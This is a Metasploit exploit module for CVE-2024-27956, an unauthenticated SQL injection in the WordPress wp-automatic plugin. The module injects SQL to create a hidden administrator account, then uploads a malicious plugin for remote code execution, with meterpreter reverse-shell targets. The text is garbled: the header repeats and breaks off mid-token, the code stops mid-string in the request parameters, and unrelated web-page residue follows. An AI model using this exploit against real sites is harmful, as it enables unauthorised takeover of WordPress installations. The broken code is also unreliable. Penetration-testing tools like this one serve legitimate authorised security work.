##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class SQLExecutionError < Runtime ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class SQLExecutionError < RuntimeError; end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress wp-automatic Plugin SQLi Admin Creation',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions < 3.92.1)
to achieve remote code execution (RCE). The vulnerability allows the attacker to inject and execute arbitrary SQL commands,
which can be used to create a malicious administrator account. The password for the new account is hashed using MD5.
Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control
over the WordPress site.
},
'Author' => [
'Rafie Muhammad', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-27956'],
['WPVDB', '53a51e79-a216-4ca3-ac2d-57098fd2ebb5'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-automatic/automatic-3920-unauthenticated-sql-injection'],
['URL', 'https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2024-03-13',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [false, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [false, 'Email for the new user', Faker::Internet.email])
]
)
end
def create_sqli_instance
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
execute_sql_query(payload)
end
end
def execute_sql_query(query)
formatted_query = query.strip.upcase.start_with?('INSERT') ? query : "SELECT (#{query})"
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'inc', 'csv.php'),
'method' => 'POST',
'vars_post' => {
'q' => formatted_query,
'auth' => "
WordPress WP-Automatic SQL Injection
- Details
- Written by: Khalil Shreateh
- Category: Vulnerabilities
- Hits: 21